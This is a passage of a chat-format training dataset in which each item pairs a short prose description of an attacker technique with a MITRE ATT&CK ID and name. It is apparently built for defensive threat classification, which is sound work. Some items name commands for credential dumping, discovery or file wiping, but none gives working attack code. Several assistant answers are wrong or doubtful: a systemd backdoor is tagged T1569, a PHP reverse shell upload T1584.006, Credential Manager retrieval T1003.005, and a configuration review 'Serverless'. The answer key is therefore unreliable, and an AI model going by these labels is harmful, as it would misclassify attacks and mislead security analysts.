                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use Windows Script Host (wscript.exe) as a proxy to execute malicious JScript or VBScript payloads while appearing as a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool queries the cloud instance metadata service to retrieve the instance's region and availability zone."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits misconfigured permissions on HKLM\\SYSTEM\\CurrentControlSet\\Services to replace the service executable."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed its malicious binary to \"svchost.exe\" and placed it in the C:\\Windows\\System32 directory to masquerade as a legitimate Windows process."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a phishing campaign to trick HR personnel into revealing employee name information."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the /etc/sudoers file to grant NOPASSWD access to all commands for a low‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the intruder runs \"net localgroup administrators\" to confirm the presence of the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the digital certificate of a malicious installer, presenting it as if it were from a reputable software publisher."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encrypts user data and then uses a DDoS attack to pressure the victim into paying."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware replaces the function pointer for the Winlogon LogonUserExExW API, capturing credentials on authentication."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential extraction was performed by accessing the LSASS process via a named pipe and reading its memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged VNC services on port 5900 to pivot between internal network segments."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contains a stripped payload that has had its import table minimized to hide malicious API calls."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign uses HTML smuggling by embedding a payload inside a <svg> element’s href attribute, which, when rendered, decodes and executes a malicious script on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the registry to change file association for .txt files to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploited an SNMP misconfiguration to extract the entire MIB database from the device."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script executes Get-WmiObject Win32_ComputerSystemProduct to obtain the hardware UUID and manufacturer information."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes decoy files containing meaningless data to distract forensic investigators."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware applies XOR encryption to command data to obfuscate its contents during C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use publicly available CDN lookup tools to identify edge server locations and infer the target’s network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker dumps credentials from a compromised system using built-in operating system commands, what technique is being used here?"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware rewrites the $MFT entry to set older timestamps on its files, effectively performing indicator removal via timestomp."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads LSA Secrets from the registry to harvest user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the PAM stack to include a custom module that grants elevated privileges to accounts that present a specific token."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates encryption keys by creating a new public paste on a text‑storage site, embedding the keys in the paste body for later download."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Linux server runs a script that pulls SSH private keys from user .ssh directories."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a directory traversal via Confluence's attachment URLs to read arbitrary files."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages Google Cloud SDK to delete a malicious Compute Engine VM and restore a prior VM version from backup, reverting the cloud instance to a clean state."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a portable external SSD to stage exfiltrated data before the attacker retrieves it."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware concatenated fragments of a command stored in separate registry values and then executed the assembled command."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors harvest confidential PDFs from the victim’s SharePoint Online document library via compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accesses a victim's email via the Outlook REST API to pull recent communications."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals plant a tampered USB drive inside a printer; when the printer's firmware is updated via the USB, the malware gains persistence."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware checks the number of active user sessions and the presence of a GUI cursor movement before decrypting files."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential security weaknesses in a cloud-based service through configuration reviews and audits."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses /proc/[pid]/environ files to harvest plaintext passwords from running processes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a systemd service on Linux to automatically start a backdoor after reboot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls the Mavinject function to inject a payload into the Windows Service Host process."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installed on a workstation reads the Outlook PST files to extract all email addresses of contacts and sends them to C2."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts SSH private keys from users' home directories by locating hidden \"id_rsa\" files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a signed Office add‑in signed with a stolen certificate, installing it to the user’s add‑ins directory so it runs on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise featured updating the domain's GPO to enforce credential caching for offline attacks."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a user account, the attacker scrolled through Slack conversations to harvest credentials that were inadvertently pasted in messages."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a domain account with a name that mimics a legitimate service account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By conducting web searches for the target's domain names, the attacker enumerates victim-owned websites and extracts reconnaissance data."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a custom exploit kit leveraging known vulnerabilities in outdated CMS platforms."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape public bug trackers and issue trackers for detailed code changes that could expose security flaws."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a DCOM connection to a target machine to deliver a payload via the COM service."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed the malicious script to \"script.vbs.exe\" to conceal its executable nature behind a VBS extension."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script invokes \"fsutil file setzerodata\" on each file in the user directory to replace file contents with zeros, effectively wiping the data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise operation includes calling `fsutil file setZeroData` on a large file to fill the drive with zeros, effectively wiping it."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exploits a zero‑day vulnerability in a DNS server software to gain remote code execution and take control of the DNS infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Windows authentication package mechanism by placing a malicious DLL in %SystemRoot%\\System32\\Security\\Authentication Packages."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the Windows Credential Manager API to retrieve saved domain credentials for offline brute‑force."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary browses publicly shared YouTube videos of conference talks to collect speaker names, affiliations, and email addresses for further spear‑phishing."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker plugs a malicious USB drive into the victim's computer and copies confidential files to the device before removing it."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineer calls the finance department, pretends to be the CFO, and asks for employee payroll information, using a recorded voice clip to appear authentic."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage default local service accounts to move laterally across the internal network."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a staged approach: first a web shell to upload a downloader, then a separate encrypted channel for C2."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor executes 'sc.exe config' to change the startup type of the 'Dhcp' service to disabled, causing network configuration failures."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages rundll32.exe to load a malicious DLL and execute code without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copied confidential files to a USB drive that was later mailed out of the organization."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks an existing Telnet session by sniffing the clear-text credentials and reusing the active connection."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers query the Security Account Manager (SAM) database to list all local security groups on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved tampering with source code in a GitHub repository of a dependency, adding code that exfiltrates data when compiled into the final product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code registers its DLL as a Security Support Provider, allowing it to execute during the Windows logon sequence."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised mobile device running a chat app leaked stored authentication tokens when the malicious app accessed the app's local storage."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates SMB shares on the victim's network by invoking the Windows API NetShareEnum."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin runs a command to add a new local user and assigns it to the \"Remote Desktop Users\" group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JScript file calls Verclsid to proxy the execution of a hidden executable, achieving persistence on the host."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages reg.exe to pull the HKLM\\SAM registry key and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor utilizes a chain of HTTP proxies, each forwarding the request to the next, to reach the command server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses compromised FTP credentials to upload a PHP reverse shell onto the victim's web server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries utilized a botnet of compromised industrial control systems to disrupt manufacturing processes."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software truncates /var/log/messages, erasing traces of its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages existing software deployment tools within a network for lateral movement, pushing updates or malware through legitimate channels."
            },
